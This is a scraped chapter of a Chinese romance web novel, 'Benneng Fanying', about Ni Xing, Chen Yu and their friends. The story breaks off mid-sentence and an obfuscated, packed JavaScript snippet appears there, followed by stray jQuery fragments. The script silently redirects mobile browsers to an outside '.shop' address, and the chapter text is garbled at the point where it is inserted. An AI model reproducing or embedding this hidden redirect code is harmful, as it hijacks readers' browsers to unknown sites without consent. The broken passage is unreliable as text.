文趣网 > 都市小说 > 本能反应 > 41. 第 41 章
    倪婞气昂昂的拎着灌汤包上电梯,到三楼,手机响了一下。打开一看,她脚步微顿。

    是条好友验证——

    cy:【倪婞,我是陈逾】

    倪婞皱皱眉头。

    所以陈逾真的是来找她的?那天在楼道也是......有话说?

    说什么?

    无非是醉酒那事,可这事还有什么好说的?前天他不是很不客气地把她从他家里给“请”出去了?

    难不成是事后想想觉得这么弄太尴尬,以后抬头不见低头见的,想往回找补找补?

    哼

    反正怎么都不可能是良心发现就对了。

    倪婞出电梯。

    思绪彻底发散开,让她想想验证通过,陈逾会说什么——

    ——

    我喝醉了什么都不记得了。

    那天你来找我我以为你说的是别的事。

    无非是这些醉酒人张口就来的低劣借口。

    想到这儿,手机很凑巧地震动了一下,倪婞点开,扫了一眼,鼻腔冷哼一声。

    cy:【那天我喝醉了,什么都不记得了,第二天你来家里找我,我以为你......】

    消息没看完,倪婞直接把视线从屏幕上移开。

    陈逾是不是真觉得她脑子不好?在他心里,她到底什么定位,大傻子吗?

    倪婞手指狠狠往屏幕上一戳,戳完把手机塞进兜里,头也不回的往前走,走了两步,顿觉通体舒畅。她下巴昂起来,觉得自己好像个断情绝爱又浑身充满力量的女斗士,女斗士拎着早餐到走廊尽头,一推门。

    *

    雨又开始下起来,淅淅沥沥的。

    陈逾不得不挪步到屋檐底下。

    俩女生手挽手穿过研究生宿舍往四号楼。

    一女生突然说:“欸,奎宁,那不是陈逾吗?站哪儿干嘛啊?”

    另一个个高点的女生闻言,偏头看过去:“还真是。”

    “陈逾不会是……谈恋爱了吧?”

    奎宁扭头:“不能吧,没听李嘉树说过啊,再说陈逾要真谈了,唐歌不早炸了。”

    那女生点头,拿手肘捅了捅她:“你要不要拍张照片发给唐歌?”

    奎宁想了想,拍了一张,俩人这才手挽手往宿舍楼走。

    陈逾站在屋檐底下,视线有点久的停在手机屏幕上。

    过了一会儿,他的眉梢动了动,视线才从屏幕上那条【对方拒绝你添加他为朋友】的验证上挪开眼。

    他把手机塞兜里,扭头朝宿舍楼道看了一眼,空空荡荡,他哼笑一声,低声咕哝:

    “这回是真得罪人了。”

    *

    施安安醒来已经是下午四点的事,睁眼见脚边儿悬着一颗人头,吓得一脚蹬人脑门上,在床头回弹成一团。

    “噢”倪婞扭着脑袋,皱着眉头,一脸痛苦的回头:“干嘛!”

    看清是她,施安安捂着心口,吐了一口气:“吓死我了你,没……没事吧?”

    倪婞哼一声。

    施安安给她揉揉头,又问她什么时候来的,聊了几句。

    施安安就变回昨晚有气无力那种状态掀被下床,耷拉着肩膀,整个人是飘到卫生间的。

    倪婞叹了口气,跟在她屁股后边问她想吃什么。

    施安安瞟了她一眼:“没胃口。”

    倪婞苦口婆心:“一天不吃东西怎么行,你看看这些,真没胃口?”

    说着把手机屏幕怼到她面前,红彤彤的一片,是施安安平时最爱是川味火锅。

    施安安还是摇头,倪婞就再把手机怼近点。

    施安安叹口气,最后妥协:

    “我吃,我吃还不行。”

    “这就对了嘛。”倪婞兴致勃勃的往购物车里添东西,添完把手机放下,拍拍她的肩,义正言辞:“朋友,有个名人说的好哇,没有什么坎儿是过不去的!”

    施安安:“......”

    “名人是谁,我怎么没听过这话?”

    倪婞特不要脸的拿手指了指她自己:“me。”

    施安安总算被她逗笑了,牙刷塞嘴里,嘴里都是泡沫,说话呜呜啦啦。

    倪婞:“说什么呢?”

    施安安漱漱口,抬头对着镜子说:“我说——朋友,你今天心情有点好啊。”

    话音落,倪婞脸上的笑就有点僵了,最后眼睛不自然地瞟向一边儿:“有…有吗?嗨,我这不是不用上班了。”

    “跟陈逾脑掰了,辞职了?”

    ……

    “不是!是,哎呀”倪婞胸脯起伏了一下:“什么跟什么,我想说跟我们老板请了两天假,专门来陪你。”

    施安安敷衍的“嗯嗯”两声。

    倪婞不乐意:“欸欸欸,你这什么态度!”

    俩人吵吵闹闹,施安安心情也跟着好了点。

    *

    陈逾出山大门,往茶香坊旁边的幼稚园走。

    马群山表姑奶奶去世,他人回去奔丧,陈秀琴腿脚不方便,可可的接送问题就自然而然落到陈逾头上。

    陈逾边走边划拉手机,先看了眼天气,近两天都有雨。又打开备忘录看手上这两个活的交付日期,心下了然。

    最后看了眼时间,把手机塞兜里,加快点步调。

    他还记得,去年流感季,马群山店里忙不过来,打电话让他去接可可。电话打的晚,他去的也就晚。到地,园里就剩可可跟他们班的老师两个人大眼瞪小眼。

    看见他,可可惊喜的从滑梯上窜起来,又很快哼一声,别过头。他好一阵哄,最后带着吃一顿麦当劳才算完。

    想到这儿,陈逾眼里漫了一点笑意出来,不过看到幼稚园影儿,这笑就淡了。

    五分钟后,陈逾走到幼儿园对面,远远见可可站在门口,扎着两个小麻花辫,头上带个小黄帽,探着脑袋使劲往马路这边张望。

    陈逾顺着斑马线往路对面走,可可看见他,一蹦老高:“哥哥,哥哥,我在这儿呢。”

    陈逾冲她扬扬下巴,撑着伞走过去。

    可可开心极了,扭头跟后边的年轻女老师说:“李老师李老师,那是我哥哥,帅吧?”

    女老师瞟了眼走近的陈逾,两只耳朵红了一对儿半。

    小小孩儿哪儿来的攀比心。

    陈逾皱皱眉头,伸手敲了下可可的帽沿:“跟老师说再见。”

    可可推推帽子,最后乖巧抬头:“老师再见。”

    女老师欸一声:“再再见。”

    说完又不好意思的朝陈逾脸上瞄了一眼。

    陈逾眼神跟她撞上,很自然地冲她点了下头,像是习惯了,牵着可可往外走。

    “欸,哥哥咱们今天怎么走这条路。”

    陈逾偏开头:“那边有点堵。”

    “哦”

    路上遇到同班同学,可可昂着下巴,还是那句话:“这是我哥哥,帅吧帅吧。”

    陈逾:“……”

    普普通通一条路,硬是走出红毯架势。

    好容易到路口,“女明星”看见街对面那家麦当劳又彻底黏住脚了。“女明星”仰头看着陈逾,小眼睛一眨一眨的。

    陈逾知道平时马群山管的严,不让她吃这些。

    陈逾低着下巴,抿着嘴,故意不说话。

    可可小手比个一:“就吃一个汉堡。”

    陈逾挑了挑眉梢:“一个?”

    可可又伸出一个手指头:“再加一个鸡腿。”

    “哦”陈逾稍斜一点身体,压着眉梢,故作严肃“我记得你爸走的时候特意交代了,不让你吃这些。”

    可可冲他摆摆手,陈逾配合的弯下腰。

    可可嘴巴凑到他的耳边,小声说:“哥哥,我们偷偷的谁都不告诉。”

    热气喷的耳朵有点痒,陈逾直起身掏掏耳朵。

    机灵鬼。

    大手朝她小脑袋上按了一下:“等着,我给你陈阿姨打个电话。”

    “耶”可可一听这话,推推被按瘪的帽子,一跳老高“吃汉堡,吃汉堡”

    有这么高兴吗?不就吃个汉堡。

    陈逾给陈秀琴打完电话,就带着可可过了马路。在点餐机上点完餐,找了个靠窗边的位置坐。

    一会儿餐好,可可从沙发上窜起来。

    陈逾屈指敲敲桌子,可可又老实的坐回去。

    餐端回来,陈逾把汉堡拆开,给她掰成小块,好咬,番茄酱也挤到盘子里。

    可可一手汉堡,一手鸡腿,吃的津津有味。

    陈逾有一点没一搭的捏个薯条沾沾酱,他对吃向来没什么要求。

    可可人少胃口小,就是口号喊的响,剩下的陈逾收个尾。

    抬眼,看着可可撅着个肚子,眯着眼睛舒舒服服的靠在沙发上。

    想到什么,他笑了一声,敲敲桌子:“困了?”

    可可点头。

    陈逾一手搭在桌上撑着脸,视线在黑屏的手机上扫了一眼,拇指拨了拨喉结:“你爸什么时候回来?”

    可可脑袋一耷拉一耷拉:“下周一。”

    陈逾嗯一声,眼皮耷拉下来一点,思忖着什么,过了一会儿,他抬头,看着可可捣头如蒜的脑袋。

    真困了,那他说点精神的?

    “哥哥星期天没事,带你去游乐园玩儿?”

    可可一听这个可就不困了,眼睛一睁:“真的?”

    陈逾扯扯嘴角:“真的。”

    隔壁王佳欣他爸就常带她去游乐园,还给她买了发箍,拍好多照片,马群山就是不带她。

    坏爸爸,不过……陈逾哥哥会带她去呀~可可笑着直起头,看着桌对面的陈逾,张口想夸他俩句,结果见他好像有点不开心:“怎么了,哥哥

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632620|206438||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,你看起来怎么不开心呀?”

    陈逾像模像样的叹口气。

    可可一看他这样儿可就急了,发箍哇照片啊。

    小肚子一吸,鲤鱼打个挺一样从沙发上直起身,两只手也撑着下巴,凑他跟前:“哥哥有什么困难,你说,你说呀。”:

    陈逾掀眼皮:“哥哥有个小忙……需要你帮~”

    可可问都不问,声音又脆又响:“我帮!”

    陈逾满意的勾勾唇角,伸手朝她小脑袋瓜上又按了一下,心说小傻瓜:

    “那哥哥可就全靠你了。”

    *

    晚上,许丽回来,带了烧烤和酒,几人盘腿坐在客厅的小地毯上,撸串聊天。

    娱乐八卦,山大秘闻什么都聊一点。

    聊到最后,许丽突然问倪婞:“欸,你有男朋友吗?”

    倪婞一愣,说:“没有啊,怎么了?”

    许丽说没事。

    又聊了一会儿不知道怎么扯到摄影照片上去了。

    许丽有她微信,知道她爱拍照。就说:“我弟弟在山大摄影系,改天介绍你们俩个相机发烧友认识啊”。

    倪婞爽快点头。

    她喜欢交朋友,这种志趣相投的朋友就更喜欢了。

    施安安在一边儿鸡贼的笑。

    功成身退,许丽说有课,拍拍屁股就起身回屋。

    夜深了,少个人也就没那么热闹,失恋的女人又开始变得脆弱起来。

    施安安吧嗒吧嗒又开始掉眼泪。

    倪婞急了,屁股蹭着地蹭过去,把肩膀借给她靠:“没事没事,有姐呢哈,男人靠不住,你婞姐永远在。”

    施安安噗嗤一声笑了,拿脑袋砸她肩膀:“屁嘞,再说一句姐!”

    倪婞比施安安小两个月。

    “我喊你姐,安安姐,安安姐,行不行”拖腔拉调的。

    施安安说:“行行行,别喊了,一身鸡皮疙瘩。”

    俩人头对头聊了一会儿,许丽突然又推门出来:“婞婞,有件事忘跟你说了。”

    “?”倪婞抬头。

    许丽把门彻底打开,露出手里擒着的小黄伞:“我晚上回来,看见楼下公告栏登记说602下午有人来送伞一把。”

    倪婞:“送我的?”

    许丽:“不是你还能有谁,你下午不是发了条朋友圈吗?”

    倪婞脑子略一卡顿,最后朝那把小黄伞上瞥了一眼,脑袋莫名闪过香樟道那道人影,当时光顾着生气,也没看……

    她神色不自然的搔搔鼻尖。

    许丽表情暧昧:“田螺王子?做好事不留名的?”

    ……

    许丽打趣她几句,得到倪婞确定以及肯定的单身消息,才把伞放下,打着哈欠回屋。

    扭头,施安安一脸质问:“还不如实招来。”

    倪婞缩缩脖子。

    眼看着也瞒不下去了,就把下午的事一五一十的跟施安安说了。

    施安安听完,沉吟片刻:“倪婞你是真糊涂还是假糊涂,陈逾要是要真不待见你,有必要做到这这份上?”

    倪婞嘟囔:“反正怎么样陈逾都不可能喜欢我。”

    施安安扭身过来:“婞婞你老实说,高三那年,你是不是跟陈逾发生什么?”

    倪婞看着施安安的眼睛,或许是黑夜给人力量,再不就是酒精作祟。

    她就把高中不小心偷听陈逾说话那事跟施安安说了。

    说完捏起啤酒灌了一气。

    施安安本来捋思绪,一看她这架势:“欸欸欸,借酒消愁的我一个就够了。”

    倪婞抹了一把沾酒的下巴。

    俩人沉默了一会儿,施安安突然说:“婞婞,你有当面问过陈逾吗?”

    “?”倪婞扭头,眼眶还有点红。。

    施安安一僵,犹豫接下来的话还有要不要说。

    说吧,怕万一人不是那意思,倪婞再受二次伤害。

    不说……倪婞这个难受样儿,再结合陈逾一系列反常举动……

    “我知道,这么伤自尊的话,还是你亲耳听到的,不好去问。但有没有一种可能”施安安觑着她的脸色“我是说有没有一种可能,陈逾不是要故意说那话的,或者他说的那话要表达的根本就不是那种意思。你也知道咱们中华文化博大精深,不同词汇放在不同语境里,表达出的意思就是不同的。”

    见她好像听进去,施安安胆子也就大一点:“再大胆点想,那话根本就是陈逾的违心之言,或许他有什么难言之隐?”

    倪婞抿嘴,脑袋却又有什么隐匿的线开始串联。

    最后还是摇头:“不可能。”

    施安安:“怎么不可能!你想想自从你来嘉市,遇到陈逾,他对你什么态度?”

    倪婞沉默一会儿,最后目光越过脚边的啤酒瓶,落在茶几上放的那把小黄色伞上……